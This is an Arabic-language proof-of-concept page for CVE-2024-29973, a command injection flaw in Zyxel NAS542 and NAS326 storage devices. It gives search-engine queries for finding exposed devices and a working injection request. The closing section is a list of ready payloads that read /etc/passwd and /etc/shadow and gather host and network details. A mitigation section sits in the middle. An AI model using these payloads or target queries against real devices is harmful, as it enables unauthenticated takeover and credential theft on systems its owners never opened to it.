
استغلال إثبات المفهوم لثغرة حقن الأوامر في أجهزة Zyxel NAS. يوضح تنفيذ الأوامر التعسفية عبر طلبات HTTP مصممة، مما يتيح السيطرة على النظام واستخراج البيانات.
CVE-2024-29973 هي ثغرة أمنية خطيرة موجودة في بعض أجهزة الشبكات من Zyxel. تسمح هذه الثغرة لمهاجم غير مصادق بتنفيذ أوامر عشوائية على الجهاز المستهدف عبر استغلال آليات التحقق من الإدخال غير السليمة في البرنامج الثابت. يمكن للمهاجمين إرسال طلبات HTTP مصممة بعناية إلى الجهاز، وحقن أوامر على مستوى النظام، مما قد يؤدي إلى السيطرة الكاملة على الجهاز.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
حقن الأوامر: تنشأ الثغرة بسبب عدم كفاية تنظيف المدخلات في إحدى واجهات الويب الخاصة بالجهاز. يسمح هذا الخلل للمهاجمين بإلحاق أوامر نظام التشغيل داخل معاملات طلبات HTTP.
مثال على الاستغلال: يمكن للمهاجمين حقن أوامر عبر طلب HTTP GET، مثل الطلب أدناه، لتنفيذ تعليمات برمجية عشوائية:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
الأثر: يؤدي الاستغلال الناجح إلى القدرة على تنفيذ أوامر النظام، مما قد يؤدي إلى تحكم عن بُعد بالجهاز، أو تسريب بيانات، أو زيادة اختراق الشبكة.
للتخفيف من المخاطر المرتبطة بهذه الثغرة، اتبع الخطوات التالية:
تحديث البرنامج الثابت: تأكد من تحديث جميع أجهزة Zyxel إلى أحدث إصدار من البرنامج الثابت. أصدرت Zyxel تصحيحات تعالج هذه الثغرة. تحقق بانتظام من التحديثات وطبقها فورًا.
تقسيم الشبكة: اعزل الأجهزة المعرضة للخطر عن البنية التحتية الحرجة للشبكة. لا تعرض إلا الخدمات الضرورية، وتأكد من أن الواجهات الإدارية ليست متاحة للجمهور.
إعداد جدار الحماية: قصر حركة المرور الواردة والصادرة على الخدمات الأساسية فقط. احظر وصول HTTP غير الضروري إلى أجهزة Zyxel.
مراقبة الأنشطة المشبوهة: نفذ أدوات تسجيل ومراقبة قادرة على اكتشاف السلوك غير المعتاد والتنبيه بشأنه، مثل محاولات تسجيل الدخول المتكررة أو أنماط حركة المرور غير الطبيعية.
المراجع قاعدة بيانات الثغرات الوطنية - CVE-2024-29973 نشرة أمان Zyxel

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1